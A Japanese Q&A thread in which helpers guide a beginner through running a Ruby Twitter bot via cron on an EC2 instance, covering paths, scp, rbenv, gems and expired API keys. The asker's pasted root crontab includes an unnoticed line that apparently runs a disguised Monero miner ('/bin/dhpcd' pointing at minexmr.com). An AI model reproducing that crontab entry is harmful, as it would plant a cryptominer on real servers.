Are you sure you want to delete the question?

Leaving a resolved question undeleted may help others!

ruby ec2でcron設定したのですが、稼働しません 初心者のため見落としかもしれません。

解決したいこと

rubyでbotを作成し、ローカル環境でのcron設定を行いました。
リモート環境でcronを設定して、pcがスリープ状態でも稼働できるように、EC2でcron設定を行ったのですが、
稼働しません。
原因が何かもよくわからない状態で行き詰まってしまいました。
よろしくお願いします。

.bot
# encoding: utf-8
require "twitter"

client = Twitter::REST::Client.new do |config|
  config.consumer_key        =
  config.consumer_secret     =
  config.access_token        =
  config.access_token_secret =

File.open("/Users/kuujoujoutarou/twitter_bot/tweets.txt", 'r:UTF-8') do |bot|
  @bots = bot.read.split("\n")
end
tweet = @bots.sample
client.update tweet

File.open("/Users/kuujoujoutarou/twitter_bot/fav.txt", 'r:UTF-8') do |bot|
  @bots = bot.read.split("\n")
end
tweet = @bots.sample

results = client.search tweet

results.attrs[:statuses].each do |tweet|
  id = tweet[:id].to_s
  client.favorite(id).take(42)
end
.cron
0 * * * * /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb ※ >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

わからないところ

https://qiita.com/chiita__/items/45882e0c96d9725171af
この記事を参考にEC2とSSHを接続して

Last login: Fri Apr  7 05:25:36 2023 from sp49-96-237-100.msc.spmode.ne.jp

       __|  __|_  )
       _|  (     /   Amazon Linux 2 AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[ec2-user@ip-172-31-2-49 ~]$ 

まで行き、
https://www.yukiyukiponsu.work/entry/ec2-cron-setting
この記事を参考にcronを組んだのですが、

.sudo crontab -e
* * * * * echo "Is this working"

というのは毎分実行されるのですが、

* * * * * /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb ※ >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

上記のものは実行されていないみたいです。

.sudo crontab -e
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
38 * * * * /bin/dhpcd -o sg.minexmr.com:4444 -B >/dev/null 2>/dev/null
* * * * * echo "Is this working"
* * * * * /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb ※ >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

全文はこんな感じです。

.sudo tail -f /var/log/cron
Apr  7 05:53:01 ip-172-31-2-49 CROND[2365]: (root) CMD (echo "Is this working")
Apr  7 05:53:01 ip-172-31-2-49 CROND[2366]: (root) CMD (/Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb \342\200\273 >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1)
Apr  7 05:54:01 ip-172-31-2-49 CROND[2378]: (root) CMD (echo "Is this working")
Apr  7 05:54:01 ip-172-31-2-49 CROND[2379]: (root) CMD (/Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb \342\200\273 >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1)

結果はこんな感じです。
これは実行されているということなのでしょうか?

ec2とsshを接続してcronを設定するだけでは不十分だということでしょうか?

最後まで読んでいただきありがとうございます。
教えていただけると幸いです。
何卒よろしくお願いします。

0

2Answer

/var/log/cron に

Apr  7 05:53:01 ip-172-31-2-49 CROND[2366]: (root) CMD (/Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb \342\200\273 >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1)

と出ているので、 cron は実行されています。

/Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb ※ >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

動作確認のためにこの行をターミナルに直接入力して実行してみてください。

また、「稼働しない」を詳しく説明してください:

  • ボットに何をさせたいのか
  • ボットが実際にはどうなったか(期待と違う動作をした・エラーが出た・何も起きないように見えるなど)
  • twitter_bot.log に何か書き込まれているか、何もないか

エラーなどがあればその内容もお願いします。

なお、 twitter.rb の最後に puts "done" などと書いておくと、正常終了したときにメッセージが出て分かりやすくなります。

0Like

Comments

  1. @NetaNeta0620

    Questioner

    >動作確認のためにこの行をターミナルに直接入力して実行してみてください。
    ターミナルで直接実行できました。

    >ボットに何をさせたいのか
    毎時0分になったらtweets.txtのなかからランダムでどれか一つを投稿・fav.txtのなかからランダムでどれか一つのワードを42件いいねする
    というようなことをさせています。

    >ボットが実際にはどうなったか
    なにも起きないように見える状態です

    >twitter_bot.log に何か書き込まれているか、何もないか
    こちらはなにも記載がありません

    >エラーなどがあればその内容もお願いします。
    いまの所他はなさそうです

    puts "done"すぐに記載します
  2. 追記ありがとうございます。

    スクリプト内のパスがどれも /Users/kuujoujoutarou/ で始まっていますが、これはローカルの Mac 固有のパスです。 EC2 上では /home/ec2-user/ で始まるはずです。これを実行して動いたということはローカルで動作確認されたようですね。

    > ターミナルで直接実行できました。

    次はスクリプトや関連するテキストファイルをリモートにコピーし、リモートに ssh して実行してみてください。なお、 cron に書くパスやスクリプト内のパスなど、すべてリモート環境に合わせて書き換えてください。リモートへの rbenv のインストールも必要です。
  3. @NetaNeta0620

    Questioner

    >スクリプトや関連するテキストファイルをリモートにコピー
    >リモートへの rbenv のインストール
    どう行えば良いのでしょうか?
  4. リモートへのファイルコピーは scp コマンドを使います。使い方は https://uxmilk.jp/50946 などを参照してください。

    rbenv のインストールはリモートに ssh して sudo apt install rbenv を実行してください。その後、 rbenv で適切なバージョンの Ruby をインストールします。
  5. 念のため補足しておきますが、リモートで cron ジョブを設定してローカル PC のスクリプトを起動するといったことはできません。スクリプトやログファイルなどすべてリモートに配置する必要があります。
  6. @NetaNeta0620

    Questioner

    ```
    scp ~/Users/kuujoujoutarou/twitter_bot/twitter.rb ec2-user@パブリックID:/home/
    The authenticity of host 'パブリックID(パブリックID)' can't be established.
    ECDSA key fingerprint is
    (ECDSA keyが表示されてます)
    ECDSA key fingerprint is
    (ECDSA keyが表示されてます)
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added 'パブリックID' (ECDSA) to the list of known hosts.
    Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
    lost connection
    ```

    ```
    scp ~/Users/kuujoujoutarou/twitter_bot/twitter.rb ec2-user@ec2-パブリックID.ap-northeast-1.compute.amazonaws.com:/home/
    The authenticity of host 'ec2-パブリック.ap-northeast-1.compute.amazonaws.com (000.0.0.00数字は変えてます)' can't be established.
    ECDSA key fingerprint is
    (ECDSA keyが表示されてます)
    ECDSA key fingerprint is
    (ECDSA keyが表示されてます)
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added 'ec2-パブリックID.ap-northeast-1.compute.amazonaws.com,000.00.0.00数字変えてます' (ECDSA) to the list of known hosts.
    Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
    lost connection
    ```

    という状況なのですが、これはファイルの転送が完了したということで良いのでしょうか?
  7. コマンドは1つ目で合っていそうですが、接続が許可されず転送は失敗しています。 ssh で接続できているなら成功していいはずです。 ssh を使ったのと同じローカル PC で scp を実行していますか?
  8. @NetaNeta0620

    Questioner

    sshを接続した状態で
    [ec2-user@ip-000-00-0-00 ~]$ scp ~/Users/kuujoujoutarou/twitter_bot/twitter.rb ec2-user@18.183.201.251:/home/

    Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
    lost connection

    という結果になってしまいます

    同じpcで実行しています
  9. scp はローカル PC で実行してください。つまり ssh を接続せずに、です。
  10. @NetaNeta0620

    Questioner

    理解していなかったです。

    kuujoujoutarou@wwwww-2 ~ % scp ~/Users/kuujoujoutarou/twitter_bot/twitter.rb ec2-user@18.183.201.251:/home/
    ec2-user@18.183.201.251: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
    scp: Connection closed

    実行結果です。
  11. それと ~/Users/… ではなく /Users/… です。

    /Users/ で始まるパスはローカル PC 固有なので、 ssh した先のリモート PC ではこのパスを参照できないと覚えておくと便利です。
  12. 見落としていましたが /home/ の部分は ~/ に変えてください。
  13. @NetaNeta0620

    Questioner

    scp /Users/kuujoujoutarou/twitter_bot/twitter.rb ec2-user@18.183.201.251:~/home/
    こういうことでよかったでしょうか?

    ec2-user@18.183.201.251: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
    scp: Connection closed
    実行結果です
  14. ~/home/ を ~/ にしてください。

    パス先頭の ~/ はユーザーのホームディレクトリに展開されます。
    (ローカル PC なら ~/ は /Users/kuujoujoutarou/ と書いたのと等しく、リモートなら ~/ は /home/ec2-user/ と等しくなります。)
    今回はファイルをリモートのホームディレクトリに置きたいので ~/ と書けばいいということです。
  15. @NetaNeta0620

    Questioner

    scp /Users/kuujoujoutarou/twitter_bot/twitter.rb ec2-user@18.183.201.251:~/
    こういうことだったんですね
    ありがとうございます

    ec2-user@18.183.201.251: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
    scp: Connection closed
    実行結果です
    まだなにか間違いがあるのでしょうか?
  16. 今度こそ合っていそうですがまだ接続が拒否されていますね。
    ssh 接続するとき -i xxx.pem のようなオプションを渡しているなら、それらを scp の第1引数(scp と /Users/... の間)に入れてみてください。

    これは ssh や scp 接続に使う秘密鍵(パスワードの代わりとなるもの)を渡すオプションです。
  17. その場合は
    scp -i ~/.ssh/[秘密鍵名].pem /Users/...(後略)
    を試してください。
  18. @NetaNeta0620

    Questioner

    scp -i ~/.ssh/[秘密鍵名].pem /Users/kuujoujoutarou/twitter_bot/twitter.rb ec2-user@パブリックID:~/
    twitter.rb 100% 928 124.7KB/s 00:00

    と出ました
    これでファイルの転送ができたということでしょうか?

    それと
    sudo apt install rbenv
    を行ったのですが(SSH接続した状態です)
    sudo: apt: コマンドが見つかりません
    と出てしまいます
  19. @NetaNeta0620

    Questioner

    教えていただいた記事を参考にインストールを行っているのですが、git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
    を実行すると
    Cloning into '/Users/kuujoujoutarou/.rbenv/plugins/ruby-build'...
    fatal: unable to connect to github.com:
    github.com[0: 20.27.177.113]: errno=Operation timed out
    と出てしまいます
    調べてみたところ
    https://qiita.com/qiita_ogino/items/3b72a54024b047ad46fb
    この記事が出てきたので参考に実行したのですが、

    git config --global url."https://".insteadOf clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build

    次のコマンドの
    cd ~/.rbenv/plugins/ruby-build

    -bash: cd: /home/ec2-user/.rbenv/plugins/ruby-build: No such file or directory
    と出てしまいます
    入力ミスなのでしょうか?
  20. 最初に失敗したコマンドは
    > Cloning into '/Users/kuujoujoutarou/.rbenv/plugins/ruby-build'...
    と、ホームディレクトリが /Users/kuujoujoutarou/ なので、間違ってローカル PC で実行していますね。 それ以降の作業も含めて、すべてssh してリモートで実行してください。
  21. @NetaNeta0620

    Questioner

    SSH接続状態で実行してみました
    git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
    Cloning into '/home/ec2-user/.rbenv/plugins/ruby-build'...
    fatal: unable to access 'https://': Could not resolve host: info
    これはできてないですか?

    念の為こちらも実行したのですが、合ってるでしょうか?
    git config --global url."https://".insteadOf clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
    usage: git config [<options>]

    Config file location
    --global use global config file
    --system use system config file
    --local use repository config file
    --worktree use per-worktree config file
    -f, --file <file> use given config file
    --blob <blob-id> read config from given blob object

    Action
    --get get value: name [value-pattern]
    --get-all get all values: key [value-pattern]
    --get-regexp get values for regexp: name-regex [value-pattern]
    --get-urlmatch get value specific for the URL: section[.var] URL
    --replace-all replace all matching variables: name value [value-pattern]
    --add add a new variable: name value
    --unset remove a variable: name [value-pattern]
    --unset-all remove all matches: name [value-pattern]
    --rename-section rename section: old-name new-name
    --remove-section remove a section: name
    -l, --list list all
    --fixed-value use string equality when comparing values to 'value-pattern'
    -e, --edit open an editor
    --get-color find the color configured: slot [default]
    --get-colorbool find the color setting: slot [stdout-is-tty]

    Type
    -t, --type <type> value is given this type
    --bool value is "true" or "false"
    --int value is decimal number
    --bool-or-int value is --bool or --int
    --bool-or-str value is --bool or string
    --path value is a path (file or directory name)
    --expiry-date value is an expiry date

    Other
    -z, --null terminate values with NUL byte
    --name-only show variable names only
    --includes respect include directives on lookup
    --show-origin show origin of config (file, standard input, blob, command line)
    --show-scope show scope of config (worktree, local, global, system, command)
    --default <value> with --get, use default value when missing entry

  22. > fatal: unable to access 'https://': Could not resolve host: info
    > これはできてないですか?

    できてないですが、下記のコマンドを実行したうえでもう一度実行すればうまくいくはずです。(下記のようなコマンドは一度実行されているかもしれませんが、多分その内容がミスっています。)

    git config --global url."https://".insteadOf git://

    > 念の為こちらも実行したのですが、合ってるでしょうか?
    > git config --global url."https://".insteadOf clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build

    コマンドがごっちゃになっていてかなり間違っています。その前のコマンドが成功すれば十分なので、後は先ほどの

    cd ~/.rbenv/plugins/ruby-build

    から続けてください。
  23. @NetaNeta0620

    Questioner

    git config --global url."https://".insteadOf git://
    warning: url.https://.insteadof has multiple values
    error: cannot overwrite multiple values with a single value
    Use a regexp, --add or --replace-all to change url.https://.insteadOf.

    実行した結果になります。
    何かわかるでしょうか
  24. ミスった値が設定に残っているようですね。上書きするオプションをつけて

    git config --global --replace-all url."https://".insteadOf git://

    として実行してください。
  25. @NetaNeta0620

    Questioner

    $git config --global --replace-all url."https://".insteadOf git://

    $git config --global url."https://".insteadOf git://

    $cd ~/.rbenv/plugins/ruby-build
    -bash: cd: /home/ec2-user/.rbenv/plugins/ruby-build: No such file or directory

    の順番で行ったのですがディレクトリがありませんと出てしまいます
    勝手に進めたのが悪かったでしょうか
  26. いえ、まだインストール前の準備が整っただけの段階です。そこに続けて

    git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
    cd ~/.rbenv/plugins/ruby-build

    を実行するとうまくいくと思います。続きは参考記事の手順に従ってください。念のためですが、手順の終わりまですべてリモートでの作業になります。
  27. @NetaNeta0620

    Questioner

    ありがとうございます。
    SSH接続した状態で全てのコマンド実行できたみたいです。
    リモートへのファイルのコピーとリモートへのインストールが終わりました。
    次は何を行えば良いのでしょうか?
    クローンの設定に移りますか?
  28. この段階では rbenv のインストールが終わっています。次に Ruby をインストールします。

    まず、いったん ssh を抜けてもう一度接続してください。(これで rbenv の設定が読み込まれます。)次に

    rbenv install 3.2.1

    を実行してリモートに Ruby 3.2.1 をインストールしてください。続けて

    ~/.rbenv/shims/ruby ~/twitter.rb

    でスクリプトを実行してみてください。これがうまくいけばリモートの crontab を設定します。
  29. @NetaNeta0620

    Questioner

    $ ~/.rbenv/shims/ruby ~/twitter.rb
    <internal:/home/ec2-user/.rbenv/versions/3.0.2/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require': cannot load such file -- twitter (LoadError)
    from <internal:/home/ec2-user/.rbenv/versions/3.0.2/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
    from /home/ec2-user/twitter.rb:2:in `<main>'

    と出てしまいました。
    リモートへのコピーがうまくいってなかったのでしょうか?
    リモートへコピーしたものは
    twitter.rb
    fav.txt
    tweets.txt 
    の3つです。
  30. リモートに twitter gem が足りないのでインストールしてください。

    ローカルに Gemfile があればリモートにコピーしてリモートで bundle install を実行、なければリモートで gem install twitter を実行します。
  31. @NetaNeta0620

    Questioner

    gem install twitter
    でインストール後に実行したのですが

    $ ~/.rbenv/shims/ruby ~/twitter.rb
    /home/ec2-user/twitter.rb:12:in `initialize': No such file or directory @ rb_sysopen - /Users/kuujoujoutarou/twitter_bot/tweets.txt (Errno::ENOENT)
    from /home/ec2-user/twitter.rb:12:in `open'
    from /home/ec2-user/twitter.rb:12:in `<main>

    なにかわかるでしょうか
  32. twitter.rb に書いてあるパスがローカルのままになっています。
    リモートの tweets.txt は /home/ec2-user/tweets.txt にあります。 fav.txt も同様です。パスをリモートに対応して書き換えてください。
    ローカルで twitter.rb を書き換えて scp で転送するのがいいと思います。
  33. @NetaNeta0620

    Questioner

    $~/.rbenv/shims/ruby ~/twitter.rb

    done

    成功したみたいです。
  34. では、リモートで crontab -e を実行して以下を追記してください。

    0 * * * * /home/ec2-user/.rbenv/shims/ruby /home/ec2-user/twitter.rb >> /home/ec2-user/twitter_bot.log 2>&1

    これで bot が定期実行されるようになるはずです。
  35. @NetaNeta0620

    Questioner

    無事実行されました!
    なにからなにまで教えていただきありがとうございます。
    ぼくの知識不足ということがよくわかりました

  36. お疲れ様でした!

crontab
* * * * * /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb ※ >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

もし上記が実際に登録されたcrontabであれば「※」は不要です。

crontab
* * * * * /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

crontab の登録内容を変更してから
twitter_bot.log に出力された内容をご確認いただけますか。

動作しない場合は twitter API の連携に失敗した可能性があるため
begin と rescue で以下追記の上でエラーをログに出してみましょう

source
begin
  File.open("/Users/kuujoujoutarou/twitter_bot/tweets.txt", 'r:UTF-8') do |bot|
    @bots = bot.read.split("\n")
  end
  tweet = @bots.sample
  client.update tweet

  File.open("/Users/kuujoujoutarou/twitter_bot/fav.txt", 'r:UTF-8') do |bot|
    @bots = bot.read.split("\n")
  end
  tweet = @bots.sample

  results = client.search tweet

  results.attrs[:statuses].each do |tweet|
    id = tweet[:id].to_s
    client.favorite(id).take(42)
  end
rescue Twitter::Error => e
  puts "Twitter APIエラーが発生しました。#{e.message}"
end

この状態で terminal から以下を実行して twitter_bot.log を確認

手実行
/Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

正常終了しているのであれば再度cron経由で実行してからみてください

0Like

Comments

  1. @NetaNeta0620

    Questioner

    /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1
    実行したところ

    Twitter APIエラーが発生しました。Could not authenticate you.
    出てしまいました

    ruby twitter.rb
    done
    が出ます

    /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1
    何回か実行した結果です
    Twitter APIエラーが発生しました。Could not authenticate you.
    done
    Twitter APIエラーが発生しました。User is not permitted to engage with an outdated Tweet.
    done
  2. おはようございます。twitterの認証で利用するキーが切れているようです。

    再度Twitter Developerダッシュボードにログインし、OAuth認証情報を再発行
    新しい認証情報をプログラムに設定し、動作を確認してみていただけませんか。

    client = Twitter::REST::Client.new do |config|
    config.consumer_key =
    config.consumer_secret =
    config.access_token =
    config.access_token_secret =

    ↑に設定している値です。
  3. @NetaNeta0620

    Questioner

    再発行して2回ほど手動実行してみた結果

    /Users/kuujoujoutarou/.rbenv/shims/ruby /Users/kuujoujoutarou/twitter_bot/twitter.rb >> /Users/kuujoujoutarou/twitter_bot/twitter_bot.log 2>&1

    done
    done

    2回ともに成功でした
  4. ありがとうございます。認証キーの有効期限切れは解決しましたね。
    あとはファイルの転送ができれば完了です。
    引き続き、頑張ってください。
  5. @NetaNeta0620

    Questioner

    有効期限があるなんて知らなかったです
    また助けていただきありがとうございました!

Your answer might help someone💌